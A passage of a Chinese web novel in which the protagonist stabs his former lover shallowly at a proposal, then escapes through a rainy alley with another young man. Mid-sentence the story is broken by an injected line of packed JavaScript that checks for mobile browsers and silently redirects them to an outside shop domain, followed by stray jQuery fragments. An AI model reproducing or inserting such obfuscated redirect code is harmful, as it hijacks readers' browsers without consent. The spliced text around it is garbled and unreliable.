看到沈云舟笑,跪着的慕珩眼睛亮了一亮,大约是觉得追妻有希望。
可沈云舟自己知道,他并没有释怀。
那道疤结了两年,早已和皮肉长在了一处。就算慕珩用余生来补,也只是在疤上贴一层膏药,疤不会消,阴天的时候还是会隐隐作疼。
话说回来,狗男人,以为浪子回头金不换是吧?想多了吧你……
沈云舟低头,在怀里翻找。
满堂的人都以为他要拿出什么信物来,目光齐齐聚在他手上。连江遥都从指缝里探出半只眼睛,嘴巴张成一个圆。
沈云舟摸到了一样沉甸甸的东西,拿出来。
是一把匕首。
刀面在火光印衬下泛着一层冷冷的、薄薄的光。
是他两年前在城东铁匠铺子里买的,老早就买好了,一直收着,压在箱底,用一块旧布裹着。
有时候半夜醒来,他会摸黑把那块布解开,指腹沿着刀脊滑一遍,再重新裹好,塞回箱底。
全场炸了锅。
有人尖叫着往桌下钻,衣摆带翻了条凳,条凳又砸中了邻座的酒壶。
江遥被吓得缩在椅子上,抖得说不出话,手指死死抠着桌沿,指节泛白。
赵云旌的反应却截然不同。
他非但没退,反而往前迈了一步,凑到沈云舟身侧,压着声音问:“大哥,真捅啊?要不要我帮你按着他?”
他眼睛亮得惊人,里头全是毫不遮掩的亢奋,像小孩看见了过年放炮仗。
沈云舟没理他,捅慕世子这种事,还是不连累别人的好。
全场唯一还平静的人,只剩慕珩。
他跪在那里,仰头看着沈云舟手里的匕首,嘴角弯了弯,和那天在教坊隔间里一个模样,只是眼睛里没有了当年的漫不经心。
他微微抬起下巴,露出脖颈,喉结上下一滚,示意沈云舟往下扎。
赵云旌在旁边“嚯”了一声,小声嘀咕:“这小子还挺有种的,既然他都准备好了,那咱不捅多不好?”
沈云舟深吸了一口气,握住手柄,刀尖朝下。
毫不犹豫刺了下去。
刀尖没入慕珩的小腹,不深,只没进去寸许。
他收着力,手上拿捏着分寸,连血都没怎么出。
可慕珩闷哼了一声,身子弓了一下,额上冒出细密的汗。
跪着的膝盖在地砖上微微发颤,他却咬着牙,把那一口气硬生生咽了回去。
沈云舟俯下身,捏住慕珩的下巴,迫他抬起脸来。
那张脸白了几分,可嘴角还是翘着的,眼里映着满堂的灯火和那柄没入腹中的刀。
“我捅你三刀,你没死的话,”沈云舟说,声音冷冷的,“我就原谅你。”
慕珩笑得灿烂。
他咬着牙,从齿缝里挤出一句话,声音颤着,却透着股狠劲:“为了这句话……我一定撑得住,三刀就三刀,捅吧。”
沈云舟歪着头,眯起眼睛看了他一会儿。
赵云旌在身后轻轻拍了一下沈云舟的肩,力道不重,却带着某种催促的意味。“大哥,”他压低嗓子,“第一刀算你捅的,第二刀要不我来?我手稳,一击毙命。”
沈云舟没回头,只轻声道:“不关你的事,少掺合。”
然后他松开手,慢慢把刀从慕珩腹中抽出来。
血渗了一点,染红了喜服的前襟,慕珩闷哼着倒吸凉气。
“下半辈子小心点,”沈云舟把刀收起来,声音很轻,轻得像在自言自语,“我不会让你好过一天。”
慕珩伸手,用带着血的手指蹭了蹭沈云舟的脸颊。
指腹温热,带着汗,蹭过他的颧骨,留下一道淡淡的痕迹。
那动作小心翼翼,像在碰什么易碎的东西。
“别玩死我就行,”他哑着嗓子说,“我下半辈子还想继续和你白头偕老呢,生是你的人,死是你的鬼。”
满堂的人终于反应过来,一拥而上。
有人去扶慕珩,有人拉着沈云舟的手臂要他放开刀,有人奔出去请郎中。
赵云旌被挤到一边,踉跄了两步,却不恼。他退到廊柱旁,背靠着柱子,从袖中摸出瓜子慢慢磕。
他一边嚼,一边看着被人群围住的慕珩和被人拽住的沈云舟,嘴角慢慢弯起来。
“有意思,看来求娶这位探花郎有点难。”
红绸被人踩在脚下,喜字歪了一半,烛火被撞翻了两盏,满地的狼藉和惊叫。
慕珩被几个人围着,那身大红喜服皱成一团,前襟染了血,却始终偏着头看向沈云舟的方向。
沈云舟被人拉开,站在一片混乱中间,手里还攥着那把沾了薄血的匕首。
他低头看了一眼刀面,血珠子顺着刃口往下滑,聚在刀尖上,颤巍巍地悬着,像一颗将落未落的泪。
报仇雪恨的滋味,很爽。
混乱持续了很久。
郎中是慕珩的人从巷口医馆里拎来的,跑得帽子都歪了,进了门连气都没喘匀就被推到慕珩面前。
那人蹲下来查看了伤口,眉头拧了又松,最后只说了一句:“皮外伤,未伤及脏腑,上药包扎即可。”
大家总算松了口气。
沈云舟被人拉到一边,手里那把匕首早被旁人夺了去,他也没争,只是站在人群外围,看着慕珩被几个人按在椅子上处理伤口。
那人敞着喜服前襟,露出缠了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17978715|214793||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一半的白布,血渗出来,在布上洇开一朵暗红的花。
他偏着头,任由郎中摆弄,目光却穿过人缝,落在沈云舟身上。
沈云舟和他对视了一眼,别开了脸。
慕珩笑了一声,“云舟,还生我的气吗?要不过来再捅我两刀,反正有郎中在,死不了。”
郎中一边说着“使不得”,一边按住慕珩的肩,慕珩疼得吸了口气,那笑便断在半截。
求婚自然是进行不下去了。
宾客散的散,走的走,慕珩被人扶进了后院的卧房。
赵云旌穿过人群,慢悠悠地晃到他身边,肩膀碰了碰他的肩。
“大哥,”他偏过头,声音不高不低,刚好够沈云舟听见,“刺杀镇北侯公子的罪名可不小,咱先跑吧?”
“嗯。”
沈云舟点点头,赵云旌便拉着沈云舟非常灵活的从后门溜了。
到了外头,天色已经很暗了。
头顶两堵高墙夹出一线天,月光漏不下来,脚下是坑洼不平的青石板,积水窝在凹陷处,黑黢黢的看不见底。
赵云旌走在前面,一只手往后伸着,拉紧沈云舟的手腕。
沈云舟有些不自在。
和慕珩分开后,他已经很久没和男子这样近的接触了,平时恨不得将自己包进茧里,不与外界接触才好。
沈云舟别开脸,把目光投向黑沉沉的巷壁,可腕上那圈温度却怎么都忽略不掉。
刚下过雨,青石板湿滑。沈云舟一分神,脚底打滑,重心一偏,整个人往前扑。
赵云旌背后像长了眼睛,还没来得及回头,牵着沈云舟的那只手猛地往回一收,另一只手同时往后一捞,准准地扣住了沈云舟的腰侧。
两股力道一拉一拢,将沈云舟整个人紧紧圈进怀里。
赵云旌的身上有一层薄汗,温热的,混着少年人淡淡的气息,裹上来的一瞬间几乎把沈云舟整个罩住了。
沈云舟惊慌失措之下轻轻推了赵云旌一把,“松开,你快松开。”
“好,你别紧张,先站稳,我再松开。”赵云旌侧过脸来。
黑暗中看不太清他的表情,可那双眼睛离得太近了,近得沈云舟能看见里头映着的一点微光,像水底沉着的碎星。
赵云旌的鼻尖几乎蹭过他的鬓角,呼吸拂在耳廓上,热得沈云舟耳根一麻。
“你牵着我的手,跟我走,好不好?”赵云旌松开后,声音又低了些,像在哄人,“路太滑了,再摔着我未必能及时反应过来接住你。”
身后隐约传来慕珩的人呼喝寻找的声音,沈云舟好不容易安定的心又悬起来,事态紧急,容不得多想。
他将手交到赵云旌手里。